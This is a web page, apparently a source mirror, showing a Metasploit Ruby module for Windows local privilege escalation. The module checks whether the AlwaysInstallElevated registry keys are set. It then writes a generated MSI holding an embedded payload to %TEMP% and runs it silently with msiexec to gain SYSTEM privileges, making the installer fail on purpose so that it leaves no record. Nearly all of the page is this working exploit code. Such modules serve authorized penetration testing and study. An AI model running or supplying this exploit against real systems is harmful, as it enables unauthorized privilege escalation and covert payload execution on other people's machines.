Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/always_install_elevated.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Msf::Post::File11include Msf::Post::Windows::Registry121314def initialize(info={})15super(update_info(info, {16'Name' => 'Windows AlwaysInstallElevated MSI',17'Description' => %q{18This module checks the AlwaysInstallElevated registry keys which dictates if19.MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM).20The generated .MSI file has an embedded executable which is extracted and run21by the installer. After execution the .MSI file intentionally fails installation22(by calling some invalid VBS) to prevent it being registered on the system.23By running this with the /quiet argument the error will not be seen by the user.24},25'License' => MSF_LICENSE,26'Author' =>27[28'Ben Campbell',29'Parvez Anwar' # discovery?/inspiration30],31'Arch' => [ ARCH_X86, ARCH_X64 ],32'Platform' => [ 'win' ],33'SessionTypes' => [ 'meterpreter' ],34'DefaultOptions' =>35{36'WfsDelay' => 10,37'EXITFUNC' => 'process',38'MSI::UAC' => true39},40'Targets' =>41[42[ 'Windows', { } ],43],44'References' =>45[46[ 'URL', 'http://www.greyhathacker.net/?p=185' ],47[ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ],48[ 'URL', 'http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html']49],50'DisclosureDate'=> '2010-03-18',51'DefaultTarget' => 052}))5354register_advanced_options([55OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]),56OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true])57])58end5960def check61install_elevated = "AlwaysInstallElevated"62installer = "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"63hkcu = "HKEY_CURRENT_USER\\#{installer}"64hklm = "HKEY_LOCAL_MACHINE\\#{installer}"6566local_machine_value = registry_getvaldata(hklm,install_elevated)6768if local_machine_value.nil?69vprint_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")70return Msf::Exploit::CheckCode::Safe71elsif local_machine_value == 072vprint_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")73return Msf::Exploit::CheckCode::Safe74else75vprint_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")76current_user_value = registry_getvaldata(hkcu,install_elevated)77end7879if current_user_value.nil?80vprint_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")81return Msf::Exploit::CheckCode::Safe82elsif current_user_value == 083vprint_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")84return Msf::Exploit::CheckCode::Safe85else86vprint_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")87return Msf::Exploit::CheckCode::Vulnerable88end89end9091def exploit9293return unless check == Msf::Exploit::CheckCode::Vulnerable9495msi_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"96msi_source = generate_payload_msi9798# Upload MSI99msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip100print_status("Uploading the MSI to #{msi_destination} ...")101102write_file(msi_destination, msi_source)103register_file_for_cleanup(msi_destination)104105if datastore['LOG_FILE'].nil?106logging = ""107else108logging = "/l* #{datastore['LOG_FILE']} "109end110111if datastore['QUIET']112quiet = "/quiet "113else114quiet = ""115end116117cmd = "msiexec.exe #{logging}#{quiet}/package #{msi_destination}"118119print_status("Executing MSI...")120vprint_status("Executing: #{cmd}")121begin122result = cmd_exec(cmd)123rescue Rex::TimeoutError124vprint_status("Execution timed out.")125end126vprint_status("MSI command-line feedback: #{result}")127end128end129130131